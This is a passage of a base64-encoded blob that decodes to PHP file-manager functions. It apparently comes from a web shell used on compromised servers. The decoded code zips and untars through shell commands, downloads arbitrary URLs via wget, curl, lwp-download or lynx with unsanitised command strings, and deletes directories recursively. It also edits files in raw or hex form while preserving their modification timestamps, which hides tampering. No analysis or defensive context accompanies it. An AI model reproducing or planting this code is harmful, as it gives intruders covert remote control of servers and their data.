lwJykpewoJZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpewoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZighZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykpIHJldHVybiAkc3RhdHVzOwoJCWlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsKCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCWlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7CgoJCQlpZighaXNfYXJyYXkoJGZpbGVzKSkgJGZpbGVzID0gYXJyYXkoJGZpbGVzKTsKCQkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewoJCQkJJGZpbGUgPSBzdHJfcmVwbGFjZShnZXRfY3dkKCksICcnLCAkZmlsZSk7CgkJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGUpOwoJCQkJaWYoaXNfZGlyKCRmaWxlKSl7CgkJCQkJJGZpbGVzSXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLCAxKTsKCQkJCQlmb3JlYWNoKCRmaWxlc0l0ZXJhdG9yIGFzICRpdGVyYXRvcil7CgkJCQkJCSRpdGVyYXRvciA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGl0ZXJhdG9yKTsKCQkJCQkJaWYoaW5fYXJyYXkoc3Vic3RyKCRpdGVyYXRvciwgc3RycnBvcygkaXRlcmF0b3IsICcvJykrMSksIGFycmF5KCcuJywgJy4uJykpKSBjb250aW51ZTsKCgkJCQkJCWlmKGlzX2RpcigkaXRlcmF0b3IpKSAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IuJy8nKSk7CgkJCQkJCWVsc2UgaWYoaXNfZmlsZSgkaXRlcmF0b3IpKSAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvciksIHJlYWRfZmlsZSgkaXRlcmF0b3IpKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJGZpbGUpLCByZWFkX2ZpbGUoJGZpbGUpKTsKCQkJfQoJCQlpZigkemlwLT5nZXRTdGF0dXNTdHJpbmcoKSE9PWZhbHNlKSAkc3RhdHVzID0gdHJ1ZTsKCQkJJHppcC0+Y2xvc2UoKTsKCQl9CgkJcmV0dXJuICRzdGF0dXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvbXByZXNzJykpewoJZnVuY3Rpb24gY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkZmlsZXMpewoJCWlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOwoJCWlmKCR0eXBlPT0nemlwJyl7CgkJCWlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQllbHNlaWYoKCR0eXBlPT0ndGFyJyl8fCgkdHlwZT09J3Rhcmd6JykpewoJCQkkYXJjaGl2ZSA9IGJhc2VuYW1lKCRhcmNoaXZlKTsKCgkJCSRsaXN0c0Jhc2VuYW1lID0gYXJyYXlfbWFwKCJiYXNlbmFtZSIsICRmaWxlcyk7CgkJCSRsaXN0cyA9IGFycmF5X21hcCgid3JhcF93aXRoX3F1b3RlcyIsICRsaXN0c0Jhc2VuYW1lKTsKCgkJCWlmKCR0eXBlPT0ndGFyJykgZXhlY3V0ZSgidGFyIGNmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7CgkJCWVsc2VpZigkdHlwZT09J3Rhcmd6JykgZXhlY3V0ZSgidGFyIGN6ZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOwoKCQkJaWYoaXNfZmlsZSgkYXJjaGl2ZSkpIHJldHVybiB0cnVlOwoJCQllbHNlIHJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvbXByZXNzJykpewoJZnVuY3Rpb24gZGVjb21wcmVzcygkdHlwZSwgJGFyY2hpdmUsICRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJY2hkaXIoJHBhdGgpOwoJCQlpZigkdHlwZT09J3VuemlwJyl7CgkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkJCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCQkJJHRhcmdldCA9ICRwYXRoLmJhc2VuYW1lKCRhcmNoaXZlLCIuemlwIik7CgkJCQkJaWYoJHppcC0+b3BlbigkYXJjaGl2ZSkpewoJCQkJCQlpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsKCQkJCQkJaWYoJHppcC0+ZXh0cmFjdFRvKCR0YXJnZXQpKSAkc3RhdHVzID0gdHJ1ZTsKCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJZWxzZWlmKCR0eXBlPT0ndW50YXInKXsKCQkJCSR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRhciIpOwoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeGYgXCIiLmJhc2VuYW1lKCRhcmNoaXZlKS4iXCIgLUMgXCIiLiR0YXJnZXQuIlwiIik7CgkJCQkkYWZ0ZXIgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsKCQkJCWlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09J3VudGFyZ3onKXsKCQkJCSR0YXJnZXQgPSAiIjsKCQkJCWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50YXIuZ3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIuZ3oiKTsKCQkJCWVsc2VpZihzdHJwb3Moc3RydG9sb3dlcigkYXJjaGl2ZSksICIudGd6IikhPT1mYWxzZSkgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGd6Iik7CgoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOwoJCQkJJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlpZigkYmVmb3JlIT0kYWZ0ZXIpICRzdGF0dXMgPSB0cnVlOwoJCQl9CgkJfQoJCXJldHVybiAkc3RhdHVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkb3dubG9hZCcpKXsKCWZ1bmN0aW9uIGRvd25sb2FkKCR1cmwgLCRzYXZlYXMpewoJCWlmKCFwcmVnX21hdGNoKCIvW2Etel0rOlwvXC8uKy8iLCR1cmwpKSByZXR1cm4gZmFsc2U7CgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7CgoJCWlmKCRjb250ZW50ID0gcmVhZF9maWxlKCR1cmwpKXsKCQkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgdW5saW5rKCRzYXZlYXMpOwoJCQlpZih3cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCSRidWZmID0gZXhlY3V0ZSgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx3cC1kb3dubG9hZCAiLiR1cmwuIiAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVwZXJtcycpKXsKCWZ1bmN0aW9uIGdldF9maWxlcGVybXMoJGZpbGUpewoJCWlmKCRwZXJtcyA9IEBmaWxlcGVybXMoJGZpbGUpKXsKCQkkZmxhZyA9ICd1JzsKCQlpZigoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApJGZsYWcgPSAncyc7CgkJZWxzZWlmKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkkZmxhZyA9ICdsJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSRmbGFnID0gJy0nOwoJCWVsc2VpZigoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApJGZsYWcgPSAnYic7CgkJZWxzZWlmKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkkZmxhZyA9ICdkJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSRmbGFnID0gJ2MnOwoJCWVsc2VpZigoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApJGZsYWcgPSAncCc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwNDAwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAyMDApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDEwMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDQwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMjApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAxMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDA0KT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDIpPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAwMSk/ICd4JzonLSc7CgkJcmV0dXJuICRmbGFnOwoJCX0KCQllbHNlIHJldHVybiAiPz8/Pz8/Pz8/Pz8iOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdmb3JtYXRfYml0JykpewoJZnVuY3Rpb24gZm9ybWF0X2JpdCgkc2l6ZSl7CgkJJGJhc2UgPSBsb2coJHNpemUpIC8gbG9nKDEwMjQpOwoJCSRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwoJCXJldHVybiByb3VuZChwb3coMTAyNCwgJGJhc2UgLSBmbG9vcigkYmFzZSkpLDIpLiIgIi4kc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVzaXplJykpewoJZnVuY3Rpb24gZ2V0X2ZpbGVzaXplKCRmaWxlKXsKCQkkc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZSk7CgkJaWYoJHNpemUhPT1mYWxzZSl7CgkJCWlmKCRzaXplPD0wKSByZXR1cm4gMDsKCQkJcmV0dXJuIGZvcm1hdF9iaXQoJHNpemUpOwoJCX0KCQllbHNlIHJldHVybiAiPz8/IjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVtdGltZScpKXsKCWZ1bmN0aW9uIGdldF9maWxlbXRpbWUoJGZpbGUpewoJCXJldHVybiBAZGF0ZSgiZC1NLVkgSDppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVvd25lcicpKXsKCWZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpewoJCSRvd25lciA9ICI/Oj8iOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CgkJCSRuYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSk7CgkJCSRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZmlsZSkpOwoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI6Ii4kZ3JvdXBbJ25hbWUnXTsKCQl9CgkJcmV0dXJuICRvd25lcjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygncm1kaXJzJykpewoJZnVuY3Rpb24gcm1kaXJzKCRkaXIsICRjb3VudGVyID0gMCl7CgkJaWYoaXNfZGlyKCRkaXIpKSAkZGlyID0gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRkaXIpKXsKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJJGYgPSAkZGlyLiRmOwoJCQkJCWlmKEBpc19kaXIoJGYpKSAkY291bnRlciArPSBybWRpcnMoJGYpOwoJCQkJCWVsc2V7CgkJCQkJCWlmKHVubGluaygkZikpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKCRkaCk7CgkJCWlmKHJtZGlyKCRkaXIpKSAkY291bnRlcisrOzsKCQl9CgkJcmV0dXJuICRjb3VudGVyOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdjb3B5cycpKXsKCWZ1bmN0aW9uIGNvcHlzKCRzb3VyY2UgLCAkdGFyZ2V0ICwkYz0wKXsKCQkkc291cmNlID0gcmVhbHBhdGgoJHNvdXJjZSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRzb3VyY2UpKXsKCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCSR0YXJnZXQgPSByZWFscGF0aCgkdGFyZ2V0KS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJaWYoaXNfZGlyKCRzb3VyY2UuJGYpKXsKCQkJCQkJY29weXMoJHNvdXJjZS4kZiwgJHRhcmdldC4kZiwgJGMpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlpZihjb3B5KCRzb3VyY2UuJGYsICR0YXJnZXQuJGYpKSAkYysrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCQlyZXR1cm4gJGM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9hbGxfZmlsZXMnKSl7CglmdW5jdGlvbiBnZXRfYWxsX2ZpbGVzKCRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRmaWxlcyA9IGdsb2IoJHBhdGguJyonKTsKCQlmb3IoJGkgPSAwOyAkaTxjb3VudCgkZmlsZXMpOyAkaSsrKXsKCQkJaWYoaXNfZGlyKCRmaWxlc1skaV0pKXsKCQkJCSRzdWJkaXIgPSBnbG9iKCRmaWxlc1skaV0uRElSRUNUT1JZX1NFUEFSQVRPUi4nKicpOwoJCQkJaWYoaXNfYXJyYXkoJGZpbGVzKSAmJiBpc19hcnJheSgkc3ViZGlyKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkc3ViZGlyKTsKCQkJfQoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdyZWFkX2ZpbGUnKSl7CglmdW5jdGlvbiByZWFkX2ZpbGUoJGZpbGUpewoJCSRjb250ZW50ID0gZmFsc2U7CgkJaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CgkJCSRjb250ZW50ID0gIiI7CgkJCXdoaWxlKCFmZW9mKCRmaCkpewoJCQkgICRjb250ZW50IC49IGZyZWFkKCRmaCwgODE5Mik7CgkJCX0KCQl9CgkJcmV0dXJuICRjb250ZW50OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpewoJZnVuY3Rpb24gd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewoJCWlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpewoJCQlpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygndmlld19maWxlJykpewoJZnVuY3Rpb24gdmlld19maWxlKCRmaWxlLCAkdHlwZSwgJHByZXNlcnZlVGltZXN0YW1wPSd0cnVlJyl7CgkJJG91dHB1dCA9ICIiOwoJCWlmKGlzX2ZpbGUoJGZpbGUpKXsKCQkJJGRpciA9IGRpcm5hbWUoJGZpbGUpOwoKCQkJJG93bmVyID0gIiI7CgkJCWlmKCFpc193aW4oKSl7CgkJCQkkb3duZXIgPSAiPHRyPjx0ZD5Pd25lcjwvdGQ+PHRkPiIuZ2V0X2ZpbGVvd25lcigkZmlsZSkuIjwvdGQ+PC90cj4iOwoJCQl9CgoJCQkkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOwoJCQkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkJCSRtaW1lID0gIiI7CgkJCSRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOwoJCQlpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCQkJJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7CgkJCQlpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpewoJCQkJCSRtaW1lID0gJHJlc1sxXTsKCQkJCX0KCQkJfQoJCQlpZigkdHlwZT09ImF1dG8iKXsKCQkJCWlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKSkgJHR5cGUgPSAnaW1hZ2UnOwoJCQkJLy9lbHNlaWYoc3RydG9sb3dlcihzdWJzdHIoJGZpbGUsLTMsMykpID09ICJwaHAiKSAkdHlwZSA9ICJjb2RlIjsKCQkJCWVsc2VpZighZW1wdHkoJG1pbWUpKSAkdHlwZSA9ICJtdWx0aW1lZGlhIjsKCQkJCWVsc2UgJHR5cGUgPSAicmF3IjsKCQkJfQoKCQkJJGNvbnRlbnQgPSAiIjsKCQkJaWYoJHR5cGU9PSJjb2RlIil7CgkJCQkkaGxfYXJyID0gYXJyYXkoCgkJCQkJCQkiaGxfZGVmYXVsdCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuZGVmYXVsdCcpLAoJCQkJCQkJImhsX2tleXdvcmQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmtleXdvcmQnKSwKCQkJCQkJCSJobF9zdHJpbmciPT4gaW5pX2dldCgnaGlnaGxpZ2h0LnN0cmluZycpLAoJCQkJCQkJImhsX2h0bWwiPT4gaW5pX2dldCgnaGlnaGxpZ2h0Lmh0bWwnKSwKCQkJCQkJCSJobF9jb21tZW50Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5jb21tZW50JykKCQkJCQkJCSk7CgkJCQkKCQkJCQoJCQkJJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKHJlYWRfZmlsZSgkZmlsZSksdHJ1ZSk7CgkJCQlmb3JlYWNoKCRobF9hcnIgYXMgJGs9PiR2KXsKCQkJCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8Zm9udCBjb2xvcj1cIiIuJHYuIlwiPiIsICI8Zm9udCBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7CgkJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiPHNwYW4gc3R5bGU9XCJjb2xvcjogIi4kdi4iXCI+IiwgIjxzcGFuIGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsKCQkJCX0KCQkJfQoJCQllbHNlaWYoJHR5cGU9PSJpbWFnZSIpewoJCQkJJHdpZHRoID0gKGludCkgJGltYWdlX2luZm9bMF07CgkJCQkkaGVpZ2h0ID0gKGludCkgJGltYWdlX2luZm9bMV07CgkJCQkkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjxicj4KCQkJCQlJbWFnZSBTaXplID0gPHNwYW4gY2xhc3M9J3N0cm9uZyc+KCA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4gY2xhc3M9J3N0cm9uZyc+ICk8L3NwYW4+PGJyPiI7CgkJCQlpZigkd2lkdGggPiA4MDApewoJCQkJCSR3aWR0aCA9IDgwMDsKCQkJCQkkaW1nbGluayA9ICI8cD48YSBpZD0ndmlld0Z1bGxzaXplJz4KCQkJCQk8c3BhbiBjbGFzcz0nc3Ryb25nJz5bIDwvc3Bhbj5WaWV3IEZ1bGwgU2l6ZTxzcGFuIGNsYXNzPSdzdHJvbmcnPiBdPC9zcGFuPjwvYT48L3A+IjsKCQkJCX0KCQkJCWVsc2UgJGltZ2xpbmsgPSAiIjsKCgkJCQkkY29udGVudCA9ICI8Y2VudGVyPiIuJGltYWdlX2luZm9faC4iPGJyPiIuJGltZ2xpbmsuIgoJCQkJCTxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J3dpZHRoOiIuJHdpZHRoLiJweDsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj4KCSI7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09Im11bHRpbWVkaWEiKXsKCQkJCSRjb250ZW50ID0gIjxjZW50ZXI+CgkJCQkJCQk8dmlkZW8gY29udHJvbHM+CgkJCQkJCQk8c291cmNlIHNyYz0nJyB0eXBlPSciLiRtaW1lLiInPgoKCQkJCQkJCTwvdmlkZW8+CgkJCQkJCQk8cD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibXVsdGltZWRpYSgnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInKTtcIj5Mb2FkIE11bHRpbWVkaWEgRmlsZTwvc3Bhbj48L3A+CgkJCQkJCQk8L2NlbnRlcj4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImVkaXQiKXsKCQkJCSRwcmVzZXJ2ZWNib3ggPSAoJHByZXNlcnZlVGltZXN0YW1wPT0ndHJ1ZScpPyAiIGNCb3hTZWxlY3RlZCI6IiI7CgkJCQkkY29udGVudCA9ICI8dGFibGUgaWQ9J2VkaXRUYmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlZGl0RmlsZW5hbWUnIGNsYXNzPSdjb2xTcGFuJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGZpbGUpLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImVkaXRfc2F2ZV9yYXcoKTtcIj5zYXZlPC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Jz48ZGl2IGNsYXNzPSdjQm94Ii4kcHJlc2VydmVjYm94LiInPjwvZGl2PjxzcGFuPnByZXNlcnZlIG1vZGlmaWNhdGlvbiB0aW1lc3RhbXA8L3NwYW4+PHNwYW4gaWQ9J2VkaXRSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J2VkaXRJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfY3RybF9lbnRlcih0aGlzLCBldmVudCwgJ2VkaXRfc2F2ZV9yYXcnKTtcIj4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImhleCIpewoJCQkJJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsKCQkJCSRjb250ZW50ID0gIjx0YWJsZSBpZD0nZWRpdFRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VkaXRGaWxlbmFtZScgY2xhc3M9J2NvbFNwYW4nIHZhbHVlPSciLmh0bWxfc2FmZSgkZmlsZSkuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2VkaXRfc2F2ZV9oZXgnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZWRpdF9zYXZlX2hleCgpO1wiPnNhdmU8L3NwYW4+PC90ZD48dGQgc3R5bGU9J3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnPjxkaXYgY2xhc3M9J2NCb3giLiRwcmVzZXJ2ZWNib3guIic+PC9kaXY+PHNwYW4+cHJlc2VydmUgbW9kaWZpY2F0aW9uIHRpbWVzdGFtcDwvc3Bhbj48c3BhbiBpZD0nZWRpdEhleFJlc3VsdCc+PC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0nZWRpdElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9jdHJsX2VudGVyKHRoaXMsIGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPiIuYmluMmhleChyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2UgJGNvbnRlbnQgPSAiPHByZT4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC9wcmU+IjsKCgoKCQkJJG91dHB1dCAuPSAiCgk8dGFibGUgaWQ9J3ZpZXdGaWxlJyBjbGFzcz0nYm94dGJsJz4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+RmlsZW5hbWU8L3RkPjx0ZD4iLmh0bWxfc2FmZSgkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIuZ2V0X2ZpbGVzaXplKCRmaWxlKS4iICgiLmZpbGVzaXplKCRmaWxlKS4iKTwvdGQ+PC90cj4KCSIuJG93bmVyLiIKCTx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X2ZpbGVwZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6